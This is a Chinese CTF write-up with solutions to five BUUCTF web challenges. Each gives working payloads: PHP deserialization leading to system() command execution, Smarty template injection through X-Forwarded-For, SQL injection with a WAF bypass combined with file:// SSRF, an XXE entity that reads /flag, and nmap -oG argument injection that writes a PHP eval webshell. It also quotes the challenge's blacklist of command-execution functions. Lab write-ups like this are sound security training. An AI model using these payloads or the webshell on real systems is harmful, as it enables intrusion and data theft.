1、[網(wǎng)鼎杯 2020 朱雀組]phpweb 1
考點:反序列化漏洞利用
進入靶場,查看檢查信息,發(fā)現(xiàn)存在兩個參數(shù) func 和 p
查看頁面源代碼
payload:func=file_get_contents&p=php://filter/resource=index.php
整理后,就是 PHP?代碼審計了
? ?<?php
? ? $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", ?"array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");//過濾命令執(zhí)行的關(guān)鍵字
? ? function gettime($func, $p) {
? ? ? ? $result = call_user_func($func, $p);//這里由于使用了call_user_func,這個函數(shù)是突破口
? ? ? ? $a= gettype($result);
? ? ? ? if ($a == "string") {
? ? ? ? ? ? return $result;
? ? ? ? } else {return "";}
? ? }
? ? class Test {
? ? ? ? var $p = "Y-m-d h:i:s a";
? ? ? ? var $func = "date";
? ? ? ? function __destruct() {
? ? ? ? ? ? if ($this->func != "") {
? ? ? ? ? ? ? ? echo gettime($this->func, $this->p);
? ? ? ? ? ? }
? ? ? ? }
? ? }
? ? $func = $_REQUEST["func"];
? ? $p = $_REQUEST["p"];
? ? if ($func != null) {
? ? ? ? $func = strtolower($func);
//過濾
? ? ? ? if (!in_array($func,$disable_fun)) {
? ? ? ? ? ? echo gettime($func, $p);
? ? ? ? }else {
? ? ? ? ? ? die("Hacker...");
? ? ? ? }
? ? }
? ? ?>
gettime 中使用了 call_user_func() 函數(shù)
也就是說 $func 會被當(dāng)成回調(diào)函數(shù)來執(zhí)行,而 $p 則當(dāng)做 $func 的參數(shù)
Test 類中存在魔術(shù)方法 __destruct(),在到某個對象的所有引用都被刪除或者當(dāng)對象被顯式銷毀時執(zhí)行的魔術(shù)方法。(new 和 unserialize? 觸發(fā))
因為該方法會在類被銷毀時調(diào)用,所以我們反序列化一個類,在類里面的參數(shù)中寫上我們要執(zhí)行的代碼和函數(shù),這樣的話就會直接調(diào)用 gettime 函數(shù),不會執(zhí)行 in_array($func,$disable_fun) ,從而繞過黑名單。
不了解序列化和反序列化的先看下面的文章
反序列化漏洞詳解-CSDN博客
序列化與反序列化介紹_序列化和反序列化-CSDN博客
接下來就是解題思路了
我們還不知道 flag 有關(guān)的文件在哪,所以需要查看目錄,利用 call_user_func() 函數(shù)的特性,我們給第一個參數(shù)傳遞系統(tǒng)命令:system;第二個參數(shù)傳遞:ls,來查看目錄,然后為了繞過黑名單,我們需要先把 system("ls") 序列化一下
<?php
function gettime($func,$p){
$result = call_user_func($func,$p);
$a = gettype($result);
if($a == "string"){
return $result;
}else{ return " "; }
}
class Test{
var $func = "system";
var $p = "ls";
function __destruct(){
if($this->func != " "){
echo gettime($this->func,$this->p);
}
}
}
$a = new Test();
echo serialize($a);
?>
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}
把序列化后的字符串當(dāng)做 $p 的值傳給 $func ,$func 則傳一個反序列化函數(shù)
payload:func=unserialize=&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}
發(fā)現(xiàn)回顯了一些文件,但是并沒有與 flag 有的文件,我們可以嘗用命令去目錄中搜索相關(guān)的文件名
payload:func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}
提交后會有些慢,因為要掃描目錄,等待就好了
大家可以用 burp ,那樣得到的數(shù)據(jù)是清晰的,這樣子的數(shù)據(jù)太混亂了,不方便閱讀,由上圖所示,猜測 /tmp/flagoefiu4r93 里面就有我們的 flag,接下來對該文件進行讀取。
class Test{
var $func = "system";
var $p = "cat /tmp/flagoefiu4r93";
function __destruct(){
if($this->func != " "){
echo gettime($this->func,$this->p);
}
}
}
payload:func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}
flag{29c9b107-32ff-446b-8474-e4121e71b421}
2、[BJDCTF2020]The mystery of ip 1
考點:SSTI?模版注入
看到 IP 地址,聯(lián)想到 X-Forwarded-For,構(gòu)造 XFF ,發(fā)現(xiàn)回顯的是我們構(gòu)造的 IP 地址
實際上,不管我們輸入什么都會回顯給我們,猜測是 SSTI?模版注入,猜測是模版注入后我們可以用 {{ 命令 }} 的方式來注入
接下來就入住命令來獲取關(guān)鍵信息
構(gòu)造payload
X-Forwarded-For:{{system("ls")}}
發(fā)現(xiàn) flag.php 我們查看一下,發(fā)現(xiàn)并沒有出現(xiàn) flag,我們再查看一下根目錄
X-Forwarded-For:{{system("ls /")}}
出現(xiàn)了 flag,查看一下
{{system("cat /flag")}}
另一種方式,實際上也是注入命令,不過表達的方式不太一樣。先查看一下是什么類型的模版
PHP常見的模板:twig,smarty,blade
X-Forwarded-For:{{(config}}
發(fā)現(xiàn)是 smarty 模版
Smarty自學(xué)筆記_smarty html原樣輸出-CSDN博客
查看目錄
{if system(“l(fā)s”)}{/if}
這里的flag.php是假的,要查根目錄下的
{if system(“l(fā)s /”)}{/if}
獲取 flag
X-Forwarded-For:{if system("cat /flag")}{/if}
3、[網(wǎng)鼎杯 2018]Fakebook 1
考點:序列化和反序列化 + SSRF?+ SQL 注入 + base64 編碼
進入頁面,沒發(fā)現(xiàn)可疑的地方,也不存在 SQL 注入,注冊個賬戶看看
點擊 admin 進入用戶,發(fā)現(xiàn) URL 存在參數(shù),這里可能存在注入點
輸入:1 and 1=1 ,頁面回顯正常
輸入:1 and 1=2 ,頁面回顯異常
說明頁面存在 SQL 注入,且為數(shù)字型注入
判斷列數(shù),4 列的時候正常,5 列的時候異常,說明存在 4 列
先使用聯(lián)合注入試試看,判斷回顯位
-1 union select 1,2,3,4
沒法用,猜測是某些關(guān)鍵字被過濾了,試了很多繞過都不行,最后看大佬的 wp 才知道存在 WAF,union select 被過濾了 ,使用 /**/ 可以繞過
-1 union/**/select 1,2,3,4
爆破數(shù)據(jù)庫名
爆破表格名
-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
【group_concat(table_name) 和 from information_schema.XXXXXXXX 是可以分開寫的,因為 group_concat() 是獨立的,回顯點在哪 group_concat() 就放在哪】
舉個例子:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆破字段名
-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
爆破字段內(nèi)容
其他字段內(nèi)容都沒什么可疑的,只有 data 字段內(nèi)的內(nèi)容可疑,我們注冊的賬號被序列化輸出了
-1 union/**/select 1,group_concat(data),3,4 from users
莫名其妙,應(yīng)該是前面漏了什么步驟,回去看大佬 wp,發(fā)現(xiàn)本題還存在源碼泄露問題,利用 kali 的后臺掃描工具 dirb 進行掃描,發(fā)現(xiàn) robots.txt 這個敏感信息文件
訪問后里面的內(nèi)容記錄著一個備份文件 /user.php.bak (.bak 為后綴的為備份文件),訪問直接下載
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
代碼審計
- curl_init:初始化一個 curl 會話,供 curl_setopt(),curl_exec() 和 curl_close() 函數(shù)使用
- curl_setopt:請求一個 url,其中 CURLOPT_URL 表示需要獲取的 URL 地址,后面就是跟上了它的值
- CURLOPT_RETURNTRANSFER 將 curl_exec() 獲取的信息以文件流的形式返回,而不是直接輸出
- curl_exec,成功時返回 TRUE,或者在失敗時返回 FALSE。然而,如果 CURLOPT_RETURNTRANSFER 選項被設(shè)置,函數(shù)執(zhí)行成功時會返回執(zhí)行的結(jié)果,失敗時返回 FALSE
- CURLINFO_HTTP_CODE:最后一個收到的 HTTP 代碼
- curl_getinfo:以字符串形式返回它的值,因為設(shè)置了 CURLINFO_HTTP_CODE,所以返回的是狀態(tài)碼。如果狀態(tài)碼不是 404,就返回 exec 的結(jié)果。
get 函數(shù)在 getBlogContents 中被調(diào)用
blog 作為參數(shù)
由于代碼使用正則限制了 blog 的內(nèi)容,所以只能使用序列化把 blog 注入進去
序列化代碼
注意要照葫蘆畫瓢,類名為 Userinfo ,name 、age和爆破出來的字段內(nèi)容一樣(也就是注冊時的內(nèi)容)
<?php
class Userinfo{
public $name = "admin";
public $age = 123;
public $blog = "file:///var/www/html/flag.php";
}
$a = new Userinfo();
echo serialize($a);
?>
結(jié)果
O:8:"Userinfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
構(gòu)造 payload
-1 union/**/select 1,2,3,'O:8:"Userinfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
這里為什么是注入在 4 的位置?
因為 data 這個表的位置在第 4 列,而根據(jù)回顯信息可以猜測 data 字段存在漏洞,會對內(nèi)容進行一次序列化,所以把內(nèi)容注入到 data 中
查看頁面源代碼,對該字符串進行 base64 解碼
非預(yù)期解法
使用 SQL 的 load_file()
payload:no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4
查看源代碼直接出結(jié)果
下圖內(nèi)容取自:BUUCTF[網(wǎng)鼎杯 2018]Fakebook 1 - LoYoHo00 - 博客園 (cnblogs.com)
4、[NCTF2019]Fake XML cookbook 1
考點:XXE 漏洞
進入靶場
誰便輸入看看提示什么
提示登錄失敗,開始考慮的是 SQL 注入,發(fā)現(xiàn)沒有注入點,退回去看題目,有 XML 的字樣,猜測應(yīng)該是考察 XXE 漏洞?(XML 外部實體注入漏洞)
不了解該漏洞的看這篇文章
淺談XML實體注入漏洞 - FreeBuf網(wǎng)絡(luò)安全行業(yè)門戶
服務(wù)器端漏洞篇之XML外部實體注入(XXE)專題 - FreeBuf網(wǎng)絡(luò)安全行業(yè)門戶
懶得看的這里我給大家簡單介紹一下
XXE 漏洞產(chǎn)生的原因:
? ? ? ? 應(yīng)用程序解析 XML 輸入時,沒有禁止外部實體的加載,導(dǎo)致可加載惡意外部軟件,造成文件讀取、命令執(zhí)行、內(nèi)網(wǎng)端口掃描、攻擊內(nèi)網(wǎng)網(wǎng)站、發(fā)起 DOS 攻擊等危害?!綳XE 漏洞觸發(fā)的點往往是可以上傳 XML 文件的位置,沒有對上傳的 XML 文件進行過濾,導(dǎo)致可上傳惡意 XML 文件】
XML 和 HTML 區(qū)別:
XML 被設(shè)計為傳輸和存儲數(shù)據(jù),其焦點是數(shù)據(jù)的內(nèi)容。
HTML 被設(shè)計用來顯示數(shù)據(jù),其焦點是數(shù)據(jù)的外觀。
當(dāng)然,XXE 也存在隱藏攻擊的方式,有些地方可以在沒有輸入任何 XML 格式的數(shù)據(jù)的情況下發(fā)動 XXE 攻擊,例如
- XInclude 攻擊
- 通過文件上傳的 XXE 攻擊
- 通過修改 Content-Type 的 XXE 攻擊
1、XInclude 攻擊
? ? ? ? 有些應(yīng)用程序的服務(wù)端會將從客戶端接收的內(nèi)容嵌入到 XML 文檔中然后解析,這就導(dǎo)致因為我們無法控制整個 XML 文檔而無法發(fā)動常規(guī)的 XXE 攻擊,但是我們可以通過 XInclude 在該 XML 文檔中構(gòu)建子 XML 文檔,想要使用 XInclude 我們需要引入相應(yīng)的命名空間。(詳細看上面第二條鏈接)
2、通過文件上傳的 XXE 攻擊
? ? ? ? 有的應(yīng)用程序允許上傳 XML 格式的文件,比如 office 文檔或 SVG 圖像,然后這些文件也會因為在服務(wù)端解析而觸發(fā) XXE 攻擊。
深入簡出 SVG 教程 - 知乎 (zhihu.com)
3、通過修改 Content-Type 的 XXE 攻擊
? ? ? ? 大部分的 POST 請求的 Content-Type 都是表單類型(application/x-www-form-urlencoded),但是有的應(yīng)用程序允許將其修改成 text/xml,這樣我們就可以將報文內(nèi)容替換成 XML 格式的內(nèi)容了,如下所示
POST /action HTTP/1.0
Content-Type:text/xml
Content-Length:52
<?xml version="1.0" encoding="UTF-8"?>
<foo>bar</foo>
下面是本題的解題思路
要注意這里,加 &? 、;??前面就是沒注意到這點一直做不出來
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY adm SYSTEM "file:///flag">
]>
<user><username>&adm;</username><password>123456</password></user>
5、[BUUCTF 2018]Online Tool 1
考點:escapeshellarg () 和 escapeshellcmd () 漏洞 + nmap 文件寫入的利用
進入靶場,代碼審計
分析代碼
PHP 中 $_SERVER 參數(shù) HTTP_X_FORWARDED_FOR 和 REMOTE_ADDR
在 PHP 中使用 $_SERVER["REMOTE_ADDR"] 來獲取客戶端的 IP 地址,如果客戶端使用代理服務(wù)器來訪問,那取到的就是代理服務(wù)器的 IP 地址,而不是真正的客戶端 IP 地址。若想透過代理服務(wù)器獲取客戶端的真實 IP 地址,就要使用 $_SERVER["HTTP_X_FORWARDED_FOR"] 來獲取。
【當(dāng)然了,并不是每個代理服務(wù)器都能用 $_SERVER["HTTP_X_FORWARDED_FOR"] 來讀取客戶端的真實 IP,有些用此方法讀取到的仍然是代理服務(wù)器的 IP】
(如果客戶端通過代理服務(wù)器,則取 HTTP_X_FORWARDED_FOR 的值,如果沒通過代理服務(wù)器,就取 REMOTE_ADDR 的值)
escapeshellarg:把字符串轉(zhuǎn)碼為可以在 shell 命令里使用的參數(shù)。
escapeshellarg 在 CTF 中的利用:
- 參數(shù)注入(開發(fā)人員錯誤的使用 escapeshellarg 函數(shù))
- 逃逸字符串(該函數(shù)非二進制安全)
escapeshellcmd:shell 元字符轉(zhuǎn)義
(escapeshellarg 和 escapeshellcmd 相似,主要看是否有引號)
PHP chdir () 函數(shù):
它將 PHP 的當(dāng)前目錄更改為傳遞的目錄。
<?php
echo getcwd() . "\n";
chdir('html');
echo getcwd() . "\n";
?>
/*
輸出結(jié)果:
/home/tutorialspoint
/home/tutorialspoint/html/
*/
PHP mkdir () 函數(shù):用來創(chuàng)建目錄
代碼整體功能:
1、首先判斷客戶端提供給服務(wù)器和服務(wù)器自動獲取的 IP 是否一致。
2、判斷 get host 參數(shù)的傳值,沒有傳值調(diào)用 highlight_file(__FILE__)。
3 、傳值,host 傳遞參數(shù)經(jīng)過 escapeshellarg、escapeshellcmd 函數(shù)的限制。
4、以 ‘glzjin’ + IP 通過 md5 加密,結(jié)果作為文件名創(chuàng)建文件。調(diào)用 chdir ()? 函數(shù),當(dāng)前文件地址更改為創(chuàng)建的文件
5、輸出 system 執(zhí)行結(jié)果
解題思路
escapeshellarg 處理后先對單引號轉(zhuǎn)義,再用單引號將左右兩部分括起來從而起到連接的作用。
舉例:
192.168.1.100' -oG 經(jīng)過 escapeshellarg 處理后就變成 ' 192.168.1.100 ' \' ' -oG ' 以被轉(zhuǎn)義的單引號為中心左右被分成兩部分并且加上單引號。
隨后再進過 escapeshellcmd 時變成:' 192.168.1.100 ' \\ ' ' -oG \' 【會發(fā)現(xiàn)將不成對的單引號及 \ 符號再次添加 \ 】前面被轉(zhuǎn)義的單引號被認為是和 -oG 左邊單引號成對的,導(dǎo)致 -oG 右邊的單引號被認為是不成對的單引號,因此被轉(zhuǎn)義。
這位博主寫的很詳細【[BUUCTF 2018]Online Tool - My_Dreams - 博客園 (cnblogs.com)】
代碼的本意是要我們輸入 IP 這樣的參數(shù)做一個掃描,通過前面說的那兩個函數(shù)來進行規(guī)則過濾,我們的輸入會被單引號括起來,但是因為前面我們所描述的漏洞告訴我們可以逃脫引號的束縛
-oG 是 nmap 的一個參數(shù),可以實現(xiàn)將命令和結(jié)果寫到文件
正是因為 nmap 存在 -oG 這個參數(shù),所以我們可以控制自己的輸入寫入到文件,配合一句話木馬來使用。當(dāng)然也可以使用命令 cat /flag
方法一:一句話木馬
?host=' <?php @eval($_POST["123"]);?> -oG hack.php '
構(gòu)造完 payload 回車后,頁面會顯示文件名
使用蟻劍進行連接
fcbaaa3b-8c9f-46d1-a647-3790cd66ccb3.node5.buuoj.cn:81/2776a2b4045f0b6fecd14c61ea2a61b0/hack.php
提示
hack.php 文件名自定義,后綴是 .php 就好
方法二:直接使用命令
?host=' <?php echo `cat /flag`;?> -oG abc.php '
注意:
- cat /flag 用反引號括起來;
- 單引號和 < > 之間需要有空格;
把路徑拼接好即可文章來源:http://www.zghlxwxcb.cn/news/detail-836827.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-836827.html
到了這里,關(guān)于滲透測試練習(xí)題解析 3(CTF web)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!